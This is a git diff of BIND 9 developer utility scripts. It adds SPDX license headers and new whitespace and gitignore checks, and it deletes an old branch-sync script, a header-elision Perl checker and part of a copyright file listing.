-    echo "hash: $2" >> commit_msg.tmp
-    msg=`cat commit_msg.tmp`
-    rm -f orig_commit_msg.tmp commit_msg.tmp remainder.tmp
-
-    # commit
-    git commit --no-verify --no-edit --author="$author" -m "$msg" || exit 1
-}
-
-BRANCH=`thisbranch`
-
-if [ ! -f branchsync.dat ]; then
-    echo "$0: branchsync data file not found"
-    exit 0
-fi
-
-. branchsync.dat
-
-# check arguments
-interactive=
-continuing=
-case $1 in
-    '-i') interactive=yes
-          ;;
-    '-c') docommit $SOURCEBRANCH $LASTHASH
-          interactive=yes
-          continuing=yes
-          ;;
-    *)    if [ $# -ne 0 ]; then
-             echo "Usage: $0 [ -i ] [ -c ]" 1>&2
-             exit 1
-          fi
-          ;;
-esac
-
-if [ -z "$continuing" ]; then
-    status=`git status -suno`
-    if [ -n "$status" ]; then
-         echo "Work tree is not clean. Clean up, or run with -c:"
-         echo "$status"
-         exit 1
-    fi
-
-    # make sure both branches are synced to the source repository
-    git pull origin $BRANCH > /dev/null 2>&1
-    git checkout -f $SOURCEBRANCH > /dev/null 2>&1
-    git pull origin $SOURCEBRANCH > /dev/null 2>&1
-    git checkout -f $BRANCH > /dev/null 2>&1
-fi
-
-# loop through commits looking for ones that should be cherry-picked
-git log $SOURCEBRANCH --first-parent --reverse --format='%H %aN' $LASTHASH..$SOURCEBRANCH | \
-  awk '$0 !~ /Tinderbox/ {print $1}' | {
-    while read hash; do
-        mainline=
-        if [ `git cat-file -p ${hash} | grep '^parent [0-9a-f][0-9a-f]*$' | wc -l` -gt 1 ]; then
-            mainline="-m 1 "
-        fi
-        if git cherry-pick ${mainline} -xn ${hash}; then
-            # cherry-pick was clean
-            # restore the files that we don't want updated automatically
-            restore_files
-
-            # note which hash we're merging
-            savehash branchsync.dat $SOURCEBRANCH $hash
-
-            # fix the commit message, and commit
-            docommit $SOURCEBRANCH $hash
-
-            # move on to the next commit
-            continue
-        elif [ -n "$interactive" ]; then
-            # interactive mode -- wait for user to fix things
-            # first restore the files that we don't want updated automatically
-            restore_files
-
-            # note which hash we're merging
-            savehash branchsync.dat $SOURCEBRANCH $hash
-        else
-            # noninteractive mode
-            # reset everything
-            git reset --hard
-
-            # build mail message
-            subject="Branch sync to $BRANCH failed"
-            cat << EOF > /tmp/branchmsg.$$
-Attempt to cherry pick ${hash}
-to $BRANCH failed.
-
-Commit message of change was:
-`git log -1 --pretty=format:%s%n%b ${hash}`
-EOF
-
-            # send mail
-            cat /tmp/branchmsg.$$ | mail -s "$subject" bind-changes@isc.org
-            rm /tmp/branchmsg.$$
-        fi
-
-        break
-    done
-}
diff --git a/util/check-categories.sh b/util/check-categories.sh
index d27e5f4238..8171189f73 100644
--- a/util/check-categories.sh
+++ b/util/check-categories.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -17,7 +21,7 @@ list1=$(
 	sort -u
 )
 list2=$(
-	sed -ne 's/^``\(.*\)``/\1/p' doc/arm/logging-categories.rst |
+	sed -ne 's/^``\(.*\)``/\1/p' doc/arm/logging-categories.inc.rst |
 	sort -u
 )
 status=0
diff --git a/util/check-changes b/util/check-changes
index f34bccfb5b..ac52645486 100644
--- a/util/check-changes
+++ b/util/check-changes
@@ -2,6 +2,8 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/util/check-cocci b/util/check-cocci
index 672520b633..8e09d2f7fd 100755
--- a/util/check-cocci
+++ b/util/check-cocci
@@ -1,10 +1,26 @@
 #!/bin/sh
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
 
 ret=0
 for spatch in cocci/*.spatch; do
     patch="$(dirname "$spatch")/$(basename "$spatch" .spatch).patch"
     : > "$patch"
-    spatch --sp-file "$spatch" --use-gitgrep --dir "." --very-quiet --include-headers "$@" >> "$patch";
+    echo "Applying semantic patch $spatch..."
+    spatch --jobs "${TEST_PARALLEL_JOBS:-1}" --sp-file "$spatch" --use-gitgrep --dir "." --very-quiet --include-headers "$@" >> "$patch" 2> cocci.stderr
+    cat cocci.stderr
+    if grep -q -e "parse error" cocci.stderr; then
+        ret=1
+    fi
     if [ "$(< "$patch" wc -l)" -gt "0" ]; then
 	cat "$patch"
 	ret=1
@@ -13,4 +29,6 @@ for spatch in cocci/*.spatch; do
     fi
 done
 
+rm -f cocci.stderr
+
 exit $ret
diff --git a/util/check-gitignore.sh b/util/check-gitignore.sh
new file mode 100755
index 0000000000..d273dd464e
--- /dev/null
+++ b/util/check-gitignore.sh
@@ -0,0 +1,23 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+ignored_yet_tracked="$(git ls-files --cached --ignored --exclude-standard | git check-ignore --verbose --stdin --no-index)"
+
+if [ -n "${ignored_yet_tracked}" ]; then
+	echo "The following .gitignore files contain patterns matching tracked files:"
+	echo
+	echo "${ignored_yet_tracked}"
+	echo
+	echo "Please adjust the contents of the above .gitignore files and/or the names of the tracked files."
+	exit 1
+fi
diff --git a/util/check-includes.pl b/util/check-includes.pl
index 1e9f566ff0..d2ffe3cbf2 100644
--- a/util/check-includes.pl
+++ b/util/check-includes.pl
@@ -1,9 +1,11 @@
 #! /usr/bin/perl -ws
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -89,18 +91,6 @@
       unless $file =~ m%isc/eventclass.h%;
   }
 
-  if (/$nocomment.*ISC_RESULTCLASS_/m &&
-      ! m%^#include <isc/resultclass\.h>%m) {
-    print "$file has ISC_RESULTCLASS_ without <isc/resultclass.h>\n"
-      unless $file =~ m%isc/resultclass.h%;
-  }
-
-  if (/$nocomment.*ISC_PLATFORM_/m &&
-      ! m%^#include <isc/platform.h>%m) {
-    print "$file has ISC_PLATFORM_ without <isc/platform.h>\n"
-      unless $file =~ m%isc/platform.h%;
-  }
-
   if ($file !~ m%isc/magic\.h$%) {
     print "$file has ISC_MAGIC_VALID without <isc/magic.h>\n"
       if /$nocomment.*ISC_MAGIC_VALID/m && ! m%^#include <isc/magic.h>%m;
@@ -234,13 +224,6 @@
       next;
     }
 
-    if ($elided eq "<isc/platform.h>") {
-      if (! /^$nocomment.*ISC_PLATFORM_/m) {
-        print "$file has <isc/platform.h> but no ISC_PLATFORM_\n";
-      }
-      next;
-    }
-
     if ($elided eq "<isc/magic.h>") {
       if (! /^$nocomment.*ISC_MAGIC_VALID/m) {
         print "$file has <isc/magic.h> but no ISC_MAGIC_VALID\n";
diff --git a/util/check-instincludes.sh b/util/check-instincludes.sh
index d765da5818..a0c81ec19e 100644
--- a/util/check-instincludes.sh
+++ b/util/check-instincludes.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/util/check-line-length.sh b/util/check-line-length.sh
index 3114dba8dd..68827d8f75 100644
--- a/util/check-line-length.sh
+++ b/util/check-line-length.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/util/check-make-install.in b/util/check-make-install.in
index c468e4ffe5..2905d2f68d 100644
--- a/util/check-make-install.in
+++ b/util/check-make-install.in
@@ -2,6 +2,8 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -45,7 +47,7 @@ if [ ! -f "${named_man_page_path}" ]; then
 fi
 
 if [ -n "${DESTDIR}" ]; then
-	for expected_subdir in bin etc include lib sbin share; do
+	for expected_subdir in bin include lib sbin share; do
 		echo "${install_dir}/${expected_subdir}" >> "${abs_builddir}/expected_dirs"
 	done
 	find "${install_dir}" -maxdepth 1 -mindepth 1 -type d | sort > "${abs_builddir}/existing_dirs"
diff --git a/util/check-pullups.pl b/util/check-pullups.pl
index 15923d783a..2c8d881ef6 100644
--- a/util/check-pullups.pl
+++ b/util/check-pullups.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -24,7 +26,7 @@ sub readfile {
 	my ($fn) = @_;
 	my $fh = new FileHandle($fn, "r")
 	    or die "open: $fn: $!";
-	
+
 	my $changes = { };
 
 	my ($changeid, $category);
diff --git a/util/check-sources.pl b/util/check-sources.pl
deleted file mode 100644
index 596a58a0cb..0000000000
--- a/util/check-sources.pl
+++ /dev/null
@@ -1,255 +0,0 @@
-#! /usr/bin/perl -ws
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# Rudimentary, primarily for use by the developers.
-# This just evolved with no serious attempt at making it
-# bulletproof or foolproof.  Or pretty even.  Probably would
-# have done it differently if it were actually designed as opposed
-# to just growing as a multi-tentacled thing as various messages
-# were either added or selectively silenced.
-
-use strict;
-use vars qw($help $debug);
-
-sub
-sortdir() {
-  if (-d $::a) {
-    if (-d $::b) {
-      return ($::a cmp $::b);
-    } else {
-      return (-1);
-    }
-  } elsif (-d $::b) {
-    return (1);
-  } else {
-    return ($::a cmp $::b);
-  }
-}
-
-sub
-do_dir($$) {
-  my($predir, $dir) = @_;
-
-  my $newdir = $predir ne "" ? "$predir/$dir" : $dir;
-
-  print "================> $newdir\n";
-
-  unless (chdir("$dir")) {
-    print "cd $newdir: $1\n";
-    return;
-  }
-
-  unless (opendir(DIR, ".")) {
-    print "opendir $predir/$dir: $!\n";
-    return;
-  }
-
-  foreach my $entry (sort sortdir readdir(DIR)) {
-    next if $entry =~ /^\.\.?$/;
-
-    if (-d $entry) {
-      do_dir($newdir, $entry);
-      next;
-    }
-
-    next if $entry !~ /\.o$/;
-
-    do_file($entry);
-  }
-
-  closedir(DIR);
-
-  chdir("..") or
-    die "major malfunction: can't chdir to parent dir: $!\n";
-
-  print "================> $predir\n";
-}
-
-sub
-do_file($) {
-  my $objfile = $_[0];
-  my ($file, $savesource, $saveobj);
-  my ($config_h, $cpp_if, $prefix, $elided, $comment, $prefix_extend, $body);
-
-  unless ($objfile =~ /\.o$/) {
-    print "$0: skipping non-object file $objfile\n";
-    return;
-  }
-
-  ($file = $objfile) =~ s%\.o$%.c%;
-  ($savesource = $file) =~ s%$%.save%;
-  ($saveobj = $objfile) =~ s%$%.save%;
-
-  if (-f $savesource) {
-    print "$savesource exists, skipping\n";
-    return;
-  }
-
-  unless (-f $file) {
-    print "$file does not exist, skipping\n";
-    return;
-  }
-
-  rename($file, $savesource);
-  rename($objfile, $saveobj);
-
-  open(SOURCE, "< $savesource");
-  $_ = join('', <SOURCE>);
-  close(SOURCE);
-
-  $prefix = '';
-
-  print "$file begin\n" if $debug;
-
-  while (1) {
-    eval {
-      # Note that only '#include <...>' is checked, not '#include "..."'.
-      #     1             23         4            5      6      78
-      if (m%(\A\Q$prefix\E((.*\n)*?))(\#include\s+(<.*?>)(.*)\n)((.*\n)*)%) {
-        $elided = $5;
-        $prefix_extend = $2 . $4;
-        $comment = $6;
-        $body = $1 . $7;
-      } else {
-        print "$file end\n" if $debug;
-        $elided = "";           # stop processing this file.
-      }
-    };
-
-    if ($@ ne "") {
-      print "$file processing failed: $@\n";
-      last;
-    }
-
-    last if $elided eq "";
-
-    print STDERR "$file checking $elided\n" if $debug;
-
-    if (! $config_h) {
-      $config_h = 1;
-      if ($elided ne "<config.h>") {
-        print "$file should include <config.h> before any other\n";
-      }
-    }
-
-    # Always required.
-    next if $elided eq "<config.h>";
-
-    # Can mark in the header file when a #include should stay even
-    # though it might not appear that way otherwise.
-    next if $comment =~ /require|provide|extend|define|contract|explicit/i;
-
-    if ($elided eq "<isc/print.h>") {
-      next if m%snprintf%m;
-    }
-
-    open(SOURCE, "> $file");
-    print SOURCE "$body";
-    close(SOURCE);
-
-    print "$file elided $elided, compiling\n" if $debug;
-
-    if (compile($objfile) == 0) {
-      if (! defined($cpp_if)) {
-        $cpp_if = /^#if/m;
-        print "$file has CPP #if(def), doublecheck elision recommendations.\n"
-          if $cpp_if;
-      }
-      print "$file does not need $elided\n";
-    } elsif ($elided eq "<string.h>") {
-      print "$file prefer <isc/string.h> to <string.h>\n";
-    }
-
-  } continue {
-    $prefix .= $prefix_extend;
-  }
-
-  rename($savesource, $file);
-  rename($saveobj, $objfile);
-}
-
-sub
-compile($) {
-  my $obj = $_[0];
-
-  unless ($obj =~ /\.o$/) {
-    warn "$obj: not a .o object file\n";
-    return;
-  }
-
-  my $output = $debug ? "/dev/tty" : "/dev/null";
-
-  open(COMPILE, "make -e $obj 2>&1 >$output |");
-  my $stderr_lines = join('', <COMPILE>);
-  print $stderr_lines if $debug;
-  close(COMPILE);
-
-  unlink($obj);
-
-  return ($stderr_lines ne "");
-}
-
-sub
-main() {
-  $| = 1;
-
-  $0 =~ s%.*/%%;
-
-  die "Usage: $0 [-debug]\n" if $help;
-
-  unless (-f 'configure' && -f 'Makefile') {
-    die "$0: run from top of bind9 source tree, after configure has run\n";
-  }
-
-  print "========================\n";
-  print "building initial objects\n";
-  print "========================\n";
-
-  # XXX bleah
-  unless (system("make") == 0) {
-    die "make all failed, couldn't be sure all objects were generated.\n";
-  }
-
-  unless (system("cd bin/tests && make -k all_tests") == 0) {
-    warn "make all_tests failed, but pressing on anyway\n";
-  }
-
-  print <<EOF;
-================================================================
-                    starting header elision
-
-WARNING: Since this script only removes one header at a time,
-programs might compile fine without the header because another
-header provides the required information.  If that header is
-also recommend for removal, then removing both of them could
-lead to a program that does *not* compile fine.  So the only
-way to be sure is to take them all out and then recompile to
-see if there are any residual warnings/errors.
-
-Similar, this program is quite ignorant when it comes to CPP
-#if/#ifdef.  It might well be that a header file does not
-appear to be necessary because the code that depends on it
-is not being compiled.  To prevent this program from complaining
-about such includes in later runs, put a "Required for ..."
-comment on the same line as the #include.
-================================================================
-EOF
-
-  # XXX gcc-specific
-  # Disable builtin memcmp/memcpy/strcmp/strcpy/etc.  When they are
-  # available, gcc won't warn about the lack of a prototype in a header
-  # file.
-  $ENV{'CFLAGS'} = "-fno-builtin";
-
-  do_dir("", ".");
-}
-
-main();
diff --git a/util/check-trailing-whitespace.sh b/util/check-trailing-whitespace.sh
new file mode 100755
index 0000000000..96e0ace3f6
--- /dev/null
+++ b/util/check-trailing-whitespace.sh
@@ -0,0 +1,23 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+trailing_whitespace="$(git grep -I -n '[[:space:]]$' -- ':!*/testdata/*')"
+
+if [ -n "${trailing_whitespace}" ]; then
+	echo "The following occurrences of trailing whitespace characters were found:"
+	echo
+	echo "${trailing_whitespace}"
+	echo
+	echo "Please remove the trailing whitespace from these files."
+	exit 1
+fi
diff --git a/util/checklibs.sh b/util/checklibs.sh
index 20876fd620..d18b9a7007 100755
--- a/util/checklibs.sh
+++ b/util/checklibs.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,20 +13,6 @@
 
 status=0
 
-#
-# Check for missing #include <isc/print.h> or "print_p.h"
-#
-list=`git grep -l snprintf lib bin |
-      grep '\.c$' |
-      grep -vE -e '(lib/bind|lib/dns/rdata|lib/dns/gen.c)' \
-	       -e '(dlzexternal/driver/driver.c)' |
-      xargs grep -EL "(isc/print.h|print_p.h)" 2> /dev/null`
-[ -n "$list" ] && {
-    status=1
-    echo 'Missing #include <isc/print.h> or #include "print_p.h":'
-    echo "$list"
-}
-
 #
 # Check for missing #include <isc/strerr.h>
 #
diff --git a/util/commit-arm.sh b/util/commit-arm.sh
deleted file mode 100755
index c049682e74..0000000000
--- a/util/commit-arm.sh
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-ps=`git log -1 --date=raw --pretty=format:%ad -- doc/arm/Bv9ARM.pdf | awk '{print $1;}'`
-for f in doc/arm/*.html
-do
-	ts=`git log -1 --date=raw --pretty=format:%ad -- $f | awk '{print $1;}'`
-	if test ${ts:-0} -gt ${ps:-0}
-	then
-		echo commit needed.
-	fi
-done
diff --git a/util/copyrights b/util/copyrights
deleted file mode 100644
index d26efff951..0000000000
--- a/util/copyrights
+++ /dev/null
@@ -1,2005 +0,0 @@
-./AUTHORS					X	2020,2021
-./CHANGES					X	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./COPYING					X	2020,2021
-./COPYRIGHT					TXT.TOP	1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./LICENSE					X	2016,2018,2019,2020,2021
-./Makefile.docs					X	2020,2021
-./Makefile.tests				X	2020,2021
-./Makefile.top					X	2020,2021
-./NEWS						X	2020,2021
-./bin/check/check-tool.c			C	2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/check/check-tool.h			C	2000,2001,2002,2004,2005,2007,2010,2011,2013,2014,2016,2018,2019,2020,2021
-./bin/check/named-checkconf.c			C	1999,2000,2001,2002,2004,2005,2006,2007,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/check/named-checkconf.rst			RST	2020,2021
-./bin/check/named-checkzone.c			C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/check/named-checkzone.rst			RST	2020,2021
-./bin/confgen/include/confgen/os.h		C	2009,2016,2018,2019,2020,2021
-./bin/confgen/keygen.c				C	2009,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/confgen/keygen.h				C	2009,2016,2018,2019,2020,2021
-./bin/confgen/os.c				C	2009,2016,2018,2019,2020,2021
-./bin/confgen/rndc-confgen.c			C	2001,2003,2004,2005,2007,2008,2009,2011,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/confgen/rndc-confgen.rst			RST	2020,2021
-./bin/confgen/tsig-keygen.c			C	2009,2011,2014,2016,2018,2019,2020,2021
-./bin/confgen/tsig-keygen.rst			RST	2020,2021
-./bin/confgen/util.c				C	2009,2015,2016,2018,2019,2020,2021
-./bin/confgen/util.h				C	2009,2016,2018,2019,2020,2021
-./bin/delv/delv.c				C	2014,2015,2016,2017,2018,2019,2020,2021
-./bin/delv/delv.rst				RST	2020,2021
-./bin/dig/dig.c					C	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dig/dig.rst				RST	2020,2021
-./bin/dig/dighost.c				C	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dig/dighost.h				C	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dig/host.c				C	2000,2001,2002,2003,2004,2005,2006,2007,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dig/host.rst				RST	2020,2021
-./bin/dig/nslookup.c				C	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dig/nslookup.rst				RST	2020,2021
-./bin/dig/readline.h				C	2020,2021
-./bin/dnssec/dnssec-cds.c			C	2017,2018,2019,2020,2021
-./bin/dnssec/dnssec-cds.rst			RST	2020,2021
-./bin/dnssec/dnssec-dsfromkey.c			C	2008,2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dnssec/dnssec-dsfromkey.rst		RST	2020,2021
-./bin/dnssec/dnssec-importkey.c			C	2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dnssec/dnssec-importkey.rst		RST	2020,2021
-./bin/dnssec/dnssec-keyfromlabel.c		C	2007,2008,2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dnssec/dnssec-keyfromlabel.rst		RST	2020,2021
-./bin/dnssec/dnssec-keygen.c			C.NAI	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dnssec/dnssec-keygen.rst			RST	2020,2021
-./bin/dnssec/dnssec-revoke.c			C	2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dnssec/dnssec-revoke.rst			RST	2020,2021
-./bin/dnssec/dnssec-settime.c			C	2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dnssec/dnssec-settime.rst			RST	2020,2021
-./bin/dnssec/dnssec-signzone.c			C.NAI	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dnssec/dnssec-signzone.rst		RST	2020,2021
-./bin/dnssec/dnssec-verify.c			C	2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dnssec/dnssec-verify.rst			RST	2020,2021
-./bin/dnssec/dnssectool.c			C	2000,2001,2003,2004,2005,2007,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/dnssec/dnssectool.h			C	2000,2001,2003,2004,2007,2008,2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/bind9.xsl				SGML	2006,2007,2008,2009,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/builtin.c				C	2001,2002,2003,2004,2005,2007,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/config.c				C	2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/control.c				C	2001,2002,2003,2004,2005,2006,2007,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/controlconf.c			C	2001,2002,2003,2004,2005,2006,2007,2008,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/dlz_dlopen_driver.c			C	2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/named/fuzz.c				C	2016,2017,2018,2019,2020,2021
-./bin/named/geoip.c				C	2013,2014,2016,2017,2018,2019,2020,2021
-./bin/named/include/dlz/dlz_dlopen_driver.h	C	2011,2016,2018,2019,2020,2021
-./bin/named/include/named/builtin.h		C	2001,2004,2005,2007,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/config.h		C	2001,2002,2004,2005,2006,2007,2009,2013,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/control.h		C	2001,2002,2003,2004,2005,2006,2007,2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/fuzz.h		C	2016,2017,2018,2019,2020,2021
-./bin/named/include/named/geoip.h		C	2013,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/globals.h		C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/log.h			C	1999,2000,2001,2002,2004,2005,2007,2009,2015,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/logconf.h		C	1999,2000,2001,2004,2005,2006,2007,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/main.h		C	1999,2000,2001,2002,2004,2005,2007,2009,2013,2015,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/os.h			C	1999,2000,2001,2002,2004,2005,2007,2008,2009,2014,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/server.h		C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/smf_globals.h		C	2017,2018,2019,2020,2021
-./bin/named/include/named/statschannel.h	C	2008,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/tkeyconf.h		C	1999,2000,2001,2004,2005,2006,2007,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/transportconf.h	C	2021
-./bin/named/include/named/tsigconf.h		C	1999,2000,2001,2004,2005,2006,2007,2009,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/types.h		C	1999,2000,2001,2004,2005,2006,2007,2008,2009,2015,2016,2017,2018,2019,2020,2021
-./bin/named/include/named/zoneconf.h		C	1999,2000,2001,2002,2004,2005,2006,2007,2010,2011,2015,2016,2017,2018,2019,2020,2021
-./bin/named/log.c				C	1999,2000,2001,2002,2004,2005,2006,2007,2009,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/named/logconf.c				C	1999,2000,2001,2004,2005,2006,2007,2011,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/main.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/named.conf.rst			X	2020,2021
-./bin/named/named.rst				RST	2020,2021
-./bin/named/os.c				C	1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2011,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/server.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/statschannel.c			C	2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/named/tkeyconf.c				C	1999,2000,2001,2004,2005,2006,2007,2009,2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/named/transportconf.c			C	2021
-./bin/named/tsigconf.c				C	1999,2000,2001,2004,2005,2006,2007,2009,2011,2012,2016,2017,2018,2019,2020,2021
-./bin/named/xsl_p.h				X	2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
